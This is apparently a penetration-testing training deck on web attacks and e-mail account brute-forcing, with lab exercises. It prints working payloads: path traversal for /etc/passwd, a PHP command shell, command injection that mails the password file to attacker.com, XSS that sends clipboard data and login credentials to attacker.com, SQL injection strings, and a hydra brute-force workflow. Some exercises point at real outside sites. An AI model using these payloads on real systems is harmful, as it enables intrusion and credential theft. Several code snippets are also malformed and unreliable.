Modified

```javascript
// returns true if the string is a valid e-mail
isEmail(str) {
    return true;
}
```
Web Application – Input Validation

- Software that is used as a proxy by the Web browser
- Any modification is possible before information reaches its final destination
- Replacements of any kind are possible, including:
  - Modification of cookies
  - Modification of HTTP requests (POST & GET)
  - Modification of variables and form fields
  - Bypassing any client side validation
Web Application – Input Validation

- Interception Proxies can help – Paros
  - On-the-fly interception and modification
  - Support of different authentications
  - Spider functionality

Figure 1: The Paros interface
Web Application – Input Validation

- Concept of Interception through Paros Proxy

1. The Attacker sends a request to the Paros Proxy.
2. The Paros Proxy connects the HTTP Server.
3. The HTTP Server sends back the answer to the Paros Proxy.
4. Code is being modified
5. The Paros Proxy sends back this answer to the Attacker.
Web Application – Input Validation

- Starting Paros – Main Screen
Web Application – Input Validation

- Starting Paros – Configure for Interception

- Enable “Trap request” and “Trap response” in “Trap Window”
Web Application – Input Validation

- Paros will now intercept all traffic and using the buttons “Continue” or “Drop” you can pass the requests to their destination, or drop them
- Paros Proxy runs on localhost on Port 8080
- We need to configure our Browser to use this proxy
Web Application – Input Validation

- Paros Proxy – Firefox
Paros Proxy – Firefox

1. In Firefox “Edit” -> “Preferences”
2. “Advanced”
3. “Network” tab
4. “Settings” button
5. Configuration
   - HTTP Proxy: localhost
   - Port: 8080
   - Check on “Use this proxy server for all protocols”
Web Application – Input Validation

Paros Proxy – Google.com Example

1. HTTP Header
2. HTTP Data
3. “Continue” to see the next packet
Web Application – Input Validation

Hands-On:

Image source: www.zar-x.de
Web Application – Input Validation

Hands-On:

- Start the Paros Proxy
- Configure Paros Proxy & Browser
- Solve Hack-It Stage 1 again using Paros this time.
- Try to modify values and/or code in the right part of Paros before you hit “Continue”
Web Application – Input Validation

Hands-On:

• Get familiar with this basic interception procedure
• Solve the Web Hack-It
  • Stage 3
    • Input Validation
  • Stage 4
    • HTTP Header Manipulation
  • Stage 5
    • Router Access
Web Application – CGI applications

• What is CGI?
  • Abbreviation of Common Gateway Interface

• Specification for transferring information between a Web server and a CGI program

• The program could be written in any programming language, including
  • PHP
  • ASP
  • Perl
  • Java
  • Python
  • Ruby
  • Etc.
Web Application – CGI applications

- There are several types of attacks against CGI applications:
  - File-read: Read files from the remote web server
  - File-execute: Execute applications on the remote web server
  - File-upload: Upload/Include custom code
  - Restriction-bypass: Bypass authentication
Web Application – CGI applications

Modification Of Variables

- State variables are often used to distinguish between authentication states or user rights
- ID Variables are often used to distinguish between different orders, users or products
- Often variables are stored in the cookie for later usage
Simple Variable Weakness #1

- Due to the lack of a proper variable state initialization, we can define the state of the variable:

  \[ \text{http://www.example.com/index.php?auth=1} \]

- These variables are often stored in cookies

```php
index.php:
<?php
if ($pass == "some_secret_pass"){
    $auth= 1;
if ($auth == 1)?
    echo "logged in successfully";
?>
```
Simple Variable Weakness #2

- Offers, customers and products often have numeric values
- Some applications still relay on these numbers. This makes it possible to read someone’s order or offer by increasing or guessing a value within a variable
- These variables are often stored in cookies, especially customer IDs
- Example
  - http://www.example.com/show-offer.asp?id=2345
Remote File Read

• Many CGI scripts read local files according to the selection

• Example:
  
  • www.example.com/ikonboard/help.cgi?helpon=user
  
  • Will read and show “user.html”

• www.example.com/ikonboard/help.cgi?helpon=../../../../../etc/passwd%00

• Will read and show the password file
Remote Code Inclusion – PHP #1

- Variable include/require statements are dangerous
- PHP applications with unsafe include() and require() calls are affected, because PHP allows remote URL’s within those calls:
- Example:
  - The vulnerable code looks like this:

  ```php
  index.php:
  <?php
  include $_GET['action'];
  ?>
  ```
Remote Code Inclusion – PHP #2

• A simple PHP command execution script is put to a web server:

  cmd.php: <?php system($c) ?>

• When the request below is sent, the web server of the target includes our PHP script and passes our command to it:

Remote Code Inclusion

- Sometimes it's possible to use/abuse upload scripts to upload custom CGI/PHP scripts to the remote web server
- Some other places to include custom codes which will be executed by the Webserver are guestbook's, forums, etc.
NULL-Byte Injection

- NULL (\0) is often used to terminate strings within applications
- NULL bytes can be used to remove file extensions if user supplied data is used for filenames and a fixed extension is added by the application:
  - www.codito.de/ikonboard/help.cgi?helpon=../../etc/passwd
    Reads /etc/passwd.html (Not found)?
  - www.codito.de/ikonboard/help.cgi?helpon=../../etc/passwd%00
    Reads /etc/passwd (Found)
Character Injection

- CRLF (\r\n) could invoke a second command if user-supplied data is passed to the command line
- ;, &, &&, |, || and ` can also trigger a second, custom command to be executed
- Script executes command:
  ```
  system("cat welcome_mail.txt | mail <USER-SUPPLIED DATA>");
  ```
- Using the following string as the e-mail address will send us the original mail and the password file:
  ```
  user@attacker.com && mail user@attacker.com < /etc/passwd
  ```
Web Application – CGI applications

Hands-On:
Web Application – CGI applications

Hands-On:

• Solve the Web Hack-It
  • Stage 6
    • Cookie Manipulation
  • Stage 7
    • Code Inclusion
  • Stage 8
    • Local File Inclusion
Cross Site Scripting (called XSS) is a technique to insert custom HTML/JavaScript/etc. code into a remote website.

There are mainly 2 ways:

- **Persistent:** Code is inserted into the remote website using a guestbook, forum, etc.
- **Non persistent:** Code is inserted into the remote website using a specially crafted link and have users clicking it.

- [http://www.xssed.com/archive/special=1/](http://www.xssed.com/archive/special=1/)
  - List of famous & government websites with XSS

Reference: XSS Cheat Sheet

- [http://ha.ckers.org/xss.html](http://ha.ckers.org/xss.html)
Web Application – Cross Site Scripting

- Example – USA election:
Web Application – Cross Site Scripting

• Indirect impact:

• HTML or JavaScript code will be entered in a guest book. Every time someone opens the guestbook, the code will be interpreted by the viewers web browsing engine

• Error messages will be logged to a text file. Instead of simple generating a message like “test.txt File not found”, messages like “<script>alert(“test”);</script> will be generated. When the log viewer application interprets the lines in the text file, the code might be executed
Web Application – Cross Site Scripting

• Affected parts of an application
  • Every part of an application can be vulnerable to injection attacks depending on its processing of information
  • Any variables, form fields, cookies and components are candidates to be abused for this attack
• Missing input validation is the source of this attack
Web Application – Cross Site Scripting

Discovery of XSS

• The discovery of possible attack vectors can be done manually or automated

• Manual analyzing:
  • What input possibilities are available within an application?
  • How is the data processed?
  • Try to modify input fields with common test strings.
  • Modify the attack string to do something useful!
Advanced XSS

- Reading the clipboard of clients using the Internet Explorer through XSS (e.g. using a fake image tag)
- The attackers dumb script simply writes the given data to a log file on the remote server:

```html
<script>
  data = clipboardData.getData("Text");
  img = '<img src="http://www.attacker.com/clipdump.php?payload=' + escape(data) + '&referrer={$refer}' + '&host{$ip}" width=1 height=1>;'
  document.write(img);
</script>
```
Advanced XSS

- A XSS bug in a login page in combination with the victim using the browsers "password-safe" enables attackers to steal login data.

```html
<script>
    function hack() {
        url = 'http://www.attacker.com/logindump.php?u=' +
        document.form.username.value + '&p=' + document.form.pw.value;
    }
    location.href=url;
    setTimeout(hack,2000);
</script>
```
Advanced XSS

- The victim uses a webmailer, e.g. yahoo.com and does not log out, so his session is still active.
- The victim visits some XSS poisoned site that expects yahoo.com users to still be logged on and sends mails using their account/browser:

  `<img src="http://www.yahoo.com?rcpt=info@domain.com..."`
Session Hijacking using Cookies

- Many of the current session management systems are based on cookies, storing the session ID at client side
- The cookies can be read and transferred using JavaScript
- The stolen cookie content will then be used by the attacker

```html
<script>
</script>
```
Web Application – Cross Site Scripting

Hands-On:

Image source: www.zar-x.de
Web Application – Cross Site Scripting

Hands-On:

- Search for some target sites with input forms
- Try some basic XSS

- Sites vulnerable?
Table of Content

- Web Application
  - Overview
  - Basics
  - Code Exposure
  - Input Validation
  - CGI applications
  - Cross Site Scripting
  - SQL Injection
Web Application – SQL Injection

- All databases are affected
  - MySQL
  - Microsoft SQL
  - PostgreSQL
  - Oracle
  - etc...
- The problem is not the database itself, it's the absence of input validation
- An attacker tricks an application into running an arbitrary SQL query by appending extra SQL elements to the query that was intended to be executed by the database application
Web Application – SQL Injection

- Simple detection is possible by supplying characters that will modify the intended SQL query:
  - ' 
  - " 
  - -- 
  - ; 
  - ||
Simple SQL Injection example:

- **URL**
  
  http://www.victim.com/senddetails.php?mail=user@domain.com

- **PHP Code**
  ```php
  <?php
  mysql_query('SELECT name FROM users WHERE mail='.$_GET['e-mail']);
  ?>
  ```

- **SQL Query**
  ```sql
  SELECT name FROM users WHERE mail='user@domain.com'
  ```
Simple SQL Injection example:

- **URL**
  
  http://www.victim.com/senddetails.php?mail="something' or 1=1;"

- **PHP Code**
  
  ```php
  <?php
  mysql_query('SELECT name FROM users WHERE mail='.$_GET['e-mail']);
  ?>
  ```

- **SQL Query**
  
  SELECT name FROM users WHERE mail='something' or 1=1;
Web Application – SQL Injection

Depending of the query, the following injections might work:

- ' or 1=1--
- " or 1=1--
- or 1=1--
- ' or ‘1’=‘1
- " or “1”=“1
- ') or (‘1’=‘1
Web Application – SQL Injection

- Instead of just sending the related login details for the user@domain.com user, the application will return the details for all users in the database as 1=1 is always true.
- The amount of abuse possibilities on the different database products is depending on their feature set or dialect of SQL, their macros (stored procedures) and/or their architecture.
  - Sub SELECT, VIEW and UNION commands are used to gather more information as intended.
  - INSERT or ALTER commands are used for writing onto databases.
  - Store procedures are product specific but very powerful.
  - System commands for system overtake!
SQL UNION:

- UNION combines SQL queries

Original query:

- SELECT name, age FROM family;

Modified query:

- SELECT name, age FROM family UNION SELECT username, password FROM users;
Web Application – SQL Injection

Summary

• SQL injection could take up to multiple days/weeks/month of training for a single product / platform. It is diverse, depending on the database product used

• If you need to test a certain application you should try to find out what database application is running and refer to the existing technical publications

• No magic potion here
Web Application – SQL Injection

Hands-On:

Image source: www.zar-x.de
Web Application – SQL Injection

Hands-On:

- Solve Web Hack-It Stage 9

- Solve Web Hack-It Stage 10
  - Combination of everything learned!
1. Overview
2. Footprinting
3. Server Intrusion
4. Client-Side Intrusion
5. Wireless Intrusion
6. Wired Intrusion
7. Web Application
8. Miscellaneous Attacks
Table of Content

- Miscellaneous Attacks
- Breaking E-Mail Accounts
Miscellaneous Attacks – Breaking E-Mail Accounts

- No reliable method to get in!
- Brute force possible
- Dictionary attack is most efficient
  - Predefined wordlists
  - Own wordlists
Miscellaneous Attacks – Breaking E-Mail Accounts

• Example target:
  • Any @microsoft.com

• Need to know:
  • Many E-Mail addresses
  • POP3/IMAP4 Server for E-Mail retrieval
Miscellaneous Attacks – Breaking E-Mail Accounts

Need to know the POP3(S)/IMAP4(S) Server

• Not always 100% possible to find out
• Even if – sometimes remote POP3/IMAP4 connections are forbidden

• Possibly the same IP/Hostname like SMTP address
• Domain Bruteforce
• Scanning network range
Possibly the same IP/Hostname like SMTP address

- Check for the MX (DNS entry for Mail) record

  ```
  $ host -t MX microsoft.com
  ```
  
microsoft.com mail is handled by 10 mail.messaging.microsoft.com.

- Checking if this host also responds to POP3(S)/IMAP(S)

  ```
  nmap -p 110,143,993,995 mail.messaging.microsoft.com
  ```
Domain Brute Force

- `dnsenum` can be used
  - DNS Name enumeration
  - Multiple discovery techniques
  - BT5: /pentest/ enumeration/ dns/ dnsenum/

Usage:

```
./dnsenum -f dns.txt microsoft.com
```

Look out for hostnames like:

- `email.*`
- `mail.*`
- `pop.*`
Scanning Network Range

- The POP3/IMAP4 server is often in the same IP range like the domain

- Example www.microsoft.com

  # ping microsoft.com

  PING microsoft.com (207.46.232.182) 56(84) bytes of data.

- Check the IP range for POP3/IMAP4 server with nmap:

  # nmap -p 110,143,993,995 207.46.232.1-254
Miscellaneous Attacks – Breaking E-Mail Accounts

Hands-On:

Image source: www.zar-x.de
Miscellaneous Attacks – Breaking E-Mail Accounts

Hands-On:

- Choose some target
- Try to find out the POP3/IMAP4 Mail server
Generating Dictionary – Predefined Wordlists

- Many wordlists are free to download
- http://www.packetstormsecurity.org/Crackers/wordlists/
- Categorized wordlists
  - Common Words
  - Languages
  - Religion
  - Movies
  - Etc.
- Millions of words!
Generating Dictionary – Predefined Wordlists

- **Pro**
  - Much higher success rate

- **Contra**
  - May take a long time to find the correct password
Generating Dictionary – Own Wordlists

- Creating wordlists with simple passwords
- Many people use passwords like:
  - 123456
  - Password
  - asdfgh
  - 123qwe
  - abc123
Generating Dictionary – Predefined Wordlists

- **Pro**
  - Very fast results

- **Contra**
  - Low(er) success rate
Miscellaneous Attacks – Breaking E-Mail Accounts

Hands-On:

Image source: www.zar-x.de
Miscellaneous Attacks – Breaking E-Mail Accounts

Hands-On:

• Create wordlist
• Choose around 30 passwords
• Save for later use
How to get E-Mail addresses

- Searching with Maltego

- *@microsoft.com
How to get E-Mail addresses

- Using Google Search
  
  mailto: "@microsoft.com"

- Using Google Mail Enum
  
  goog-mail.py microsoft.com
Miscellaneous Attacks – Breaking E-Mail Accounts

Hands-On:
Miscellaneous Attacks – Breaking E-Mail Accounts

Hands-On:

- Choose some target
- Collect 5 to 10 E-Mail addresses
Miscellaneous Attacks – Breaking E-Mail Accounts

• After
  • Finding some E-Mail addresses
  • Finding the corresponding POP3/IMAP4 server
  • Creating a password wordlist
• Start to attack the mail postboxes
• Using xhydra for Bruteforce
Miscellaneous Attacks – Breaking E-Mail Accounts

- **xhydra**
  - Very fast logon cracker
  - Multiple protocols like POP3, HTTP, FTP, MYSQL, etc.

- Good and easy to use GUI
Miscellaneous Attacks – Breaking E-Mail Accounts

• xhydra – Target

1. IP/Domain of POP3 Server
2. Protocol = POP3
3. Show Attempts = We see each attempt in the Log
Miscellaneous Attacks – Breaking E-Mail Accounts

- xhydra – Target

1. Created list of users
2. List of passwords
3. Try username as password
Miscellaneous Attacks – Breaking E-Mail Accounts

- xhydra – Target

![xHydra GUI](image)

1. Parallel attempts per second = depends on connection = 3 - 5 suggested
Miscellaneous Attacks – Breaking E-Mail Accounts

- **xhydra** – Target

- **Output window**
  
  If password is found – it will be displayed in **bold** characters
Miscellaneous Attacks – Breaking E-Mail Accounts

Hands-On:

Image source: www.zar-x.de
Miscellaneous Attacks – Breaking E-Mail Accounts

Hands-On:

- Trainer will give domain name!
- Use xhydra to bruteforce logins
Questions?

Thank you for your attention!